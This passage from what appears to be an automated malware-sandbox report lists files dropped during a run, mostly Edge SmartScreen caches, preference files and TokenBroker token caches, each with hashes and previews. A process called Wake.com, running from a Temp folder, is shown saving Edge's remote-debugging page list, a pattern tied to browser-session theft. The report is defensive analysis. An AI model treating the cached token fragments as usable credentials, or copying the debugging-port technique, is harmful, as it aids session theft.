Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.017422013220024
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAciBRQYV:YWLSGTt1o9LuLgfGBPAzkVj/T8aQy
MD5:	96A0E5446BC3250D1C2CA16E6A611D06
SHA1:	33363BBC3D718B60721B7F80033940C9F206AF72
SHA-256:	2DB71DEECB40B21C318AFC369823679A7847FAA70CDD9FEC2E04FAD31B734E2F
SHA-512:	25E040B6A9979726ABAC009379517DAED9A02D5682A08D4165FE763DCBEAC04DF2FF4B386737B6037308890304A6B8077780BB7536D3A0059ACDC74F6E49F61C
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1744143007384342}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQan:YQ3Kq9X0dMgAEwjM
MD5:	961E3604F228B0D10541EBF921500C86
SHA1:	6E00570D9F78D9CFEBE67D4DA5EFE546543949A7
SHA-256:	F7B24F2EB3D5EB0550527490395D2F61C3D2FE74BB9CB345197DAD81B58B5FED
SHA-512:	535F930AFD2EF50282715C7E48859CC2D7B354FF4E6C156B94D5A2815F589B33189FFEDFCAF4456525283E993087F9F560D84CFCF497D189AB8101510A09C472
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":0}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\b7b5f77c-f48a-4ddd-ad8e-c7050eb2dfb1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	57184
Entropy (8bit):	6.100482430437655
Encrypted:	false
SSDEEP:	1536:kMk16zRRSVa6PGWv/sxtwhvanXFor7VLyMV/Yos8:kMYOGhv/4Kh2EVeZos8
MD5:	01661F2519352DCC6AF789748262A1F2
SHA1:	BDCC0F6636F9FB2EDD39F384A7D164726BDA548D
SHA-256:	2564CBB21527E45F25FEEAABBE6F237DAC0642F776AB111DC04E1F140AF627FC
SHA-512:	AE504B3BE443066D0F6539577668C1AA5CEBB17487C4BA464A32AEEC2D550D3537DA9563220348120B752BDEAA9964077912DC1A08CA1B66F9AB417D205E26AC
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"a6e2226c-4946-42d1-b4df-91b1e02f5f4e"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\beac9225-dfcf-432d-8c5a-a0fd7b8ed5a9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	56063
Entropy (8bit):	6.102741065172069
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynxPGWv/sxtwu7VLyMV/YoskFoQ:z/0+zI7ynpv/4KMVeZoskx
MD5:	5A7728CC31F825EC1FBA7FE02ABB31CF
SHA1:	4DD27A2532DC016307EC6370D9A9642FD06C02B4
SHA-256:	8418D066DD60D5C65E8B567B71BC8CD68E398261FFA9122B53713FB90FCB40BA
SHA-512:	C5B327AF59D0F94D15F4918BEF161543444E3BCB6F10389DBAD4314C2C5DB16AA25FFEB6987605B46AF31D32B16EC316DF9E48B155C85DF020E06D778D05EE70
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\d9a5242b-8624-4d8a-9cba-f3df5e377c0f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	56125
Entropy (8bit):	6.103309923671366
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7yO8PGWv/sxtwB7VLyMV/YoskFoQ:z/0+zI7yO4v/4K5VeZoskx
MD5:	B244AAFC25B9BCB72F683D2D64061AD0
SHA1:	D2453FD9834777C41C1DA3470C11A2DB25A16E33
SHA-256:	079567DB36859B4352605952D1391A4127D842FCC780FB02046B227FBA273B66
SHA-512:	B29E13823D16EA395E20FD027F1E9F3E54707839B2B4E8482BC19086596D289C17B3A30A256FBCE1BDBFD8BA1176B94A8D4324A4429189C2C05ADA709E9911B1
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.8427492898149533
Encrypted:	false
SSDEEP:	48:uiTrlKxrgx0xl9Il8u5yQP3uBo6JURn+Ird1rc:mpYPyQGBnURn+IM
MD5:	8B7915F8F093993640F3CEE1178A1012
SHA1:	C269751B0E2E5702C1276B0396ACB1CF271B7167
SHA-256:	5D798B7E662BCF019A87C84199986D02E0073E42F040E70B11FC1D83DCBA6902
SHA-512:	5F7A7B236C592613F33268788DBD0C6CD4F7662025F31E18BD765E88370880FCA51BDBDCDE477ABCB9D944AD8FA1BA9DE21B9BDD6AC9CBF869D314F6E5F9D601
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.A.E.6.6.d.+.n.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.B.q.O.j.o.n.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	3.997890604315431
Encrypted:	false
SSDEEP:	96:HYNf0AnKR4rWyQG68oh+Tu/zDZVuwwIntR:H+cAKqrDxMqqDZV9ftR
MD5:	511BDAFE96AD4966E9C9FDAFB0882AE4
SHA1:	459513E444F470556E351D678F333B17834F25AA
SHA-256:	EB74B9F8D3FCF62335799D5319A7CBB2638457414BCA55D963EAEFA85042BD95
SHA-512:	A97668439C027B3C7EE636E38314660D16AC8437AA4F9CD916AA61AB27EAAAF6227BA2CFBE7B1AAC23FDA3AAC2367D3DC37AAF55207944D52D7756795038446D
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".f.D.H.2.z.t.e.n.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.B.q.O.j.o.n.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.8952888874497527
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7x4xl9Il8uIsF0cLlAmiPvct3G/f8/FpN8d/vc:a6Yqa0glAFlf89pn
MD5:	AF8BF03497E6428B48F42F7A859F50B9
SHA1:	EDF6051C24F15816E64001591CB054F895D62A09
SHA-256:	52EC812A2CF6CC65ED4C25BC6BDF0443CCE5B91CE7917ED069F93F63EEDFA16F
SHA-512:	33A2BBEFE7779B5476E982A8E2C46A47360DA3DC091B1C323957CC8A4F8DAEE03521D23DA6CF53AFBB0F23D6233C9D6BC4C5F81300F6B7D99C0693D97836D139
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".c.Y.I.i./.q.j.G.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.B.q.O.j.o.n.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\json[1].json

Download File

Process:	C:\Users\user\AppData\Local\Temp\714380\Wake.com
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.399911339648077
Encrypted:	false
SSDEEP:	96:6NnCOHCCNnCrIbChNnCQ9CKNnCZdgECRNnCRajCRINnC4DC4NnCfOLwCcNnC5hfv:6NRN0FNLNK6NhNntNYOLqNYhfrL
MD5:	010206547F75DC54644F3619808AA668
SHA1:	DE09D7D6475B00C1667749DFDDCF894CD301497A
SHA-256:	AA5F258B3335B1BAD27271433F7C1BA979295F270536DD6223A3DF37BB062FD1
SHA-512:	6FA841F892AC927865D692698E655309B153C5F483598DF5CAEE49591600E3A7DA676BF347E9F39EF71B82D25E0D808C9BD5266287C81A10180983E91806EBAB
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9223/devtools/page/88BE666FB0C93740DAA23F5E4C7AE03F",.. "id": "88BE666FB0C93740DAA23F5E4C7AE03F",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9223/devtools/page/88BE666FB0C93740DAA23F5E4C7AE03F"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9223/devtools/page/960CBA4BFC6A35DC3C2BCE609B6BD61D",.. "id": "960CBA4BFC6A35DC3C2BCE609B6BD61D",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9223/devtools/page/960CBA4BFC6A35DC3C2BCE609B6BD61D"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\json[1].json

Download File

Process:	C:\Users\user\AppData\Local\Temp\714380\Wake.com
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.374545331076379
Encrypted:	false
SSDEEP:	48:SfNaoC1ZVTEC1SYfNaoCcCCfNaoC1CNfNaoCy4l0UrU0U8Cyd:6NnC1ZVTEC1DNnCcCqNnC1C5NnCP0Urr
MD5:	32293A83EF064B4B5CD42847518AEDB9
SHA1:	9CB2A247D9FF13E3AA259E17237984E4F097F55F
SHA-256:	83485FAA22904F32B56E4D86DB172EEA2BD776AEDD09FE67E2D589970DCB7530
SHA-512:	E0DA7605293F87C6DB0E53A2EA1D48A869ED77032C3EBB3FD818CCE53016B15D82FC20C043680AB77495D3F5C3222D283B0ED5B424AD590ADCB781DF72A67E84
Malicious:	false
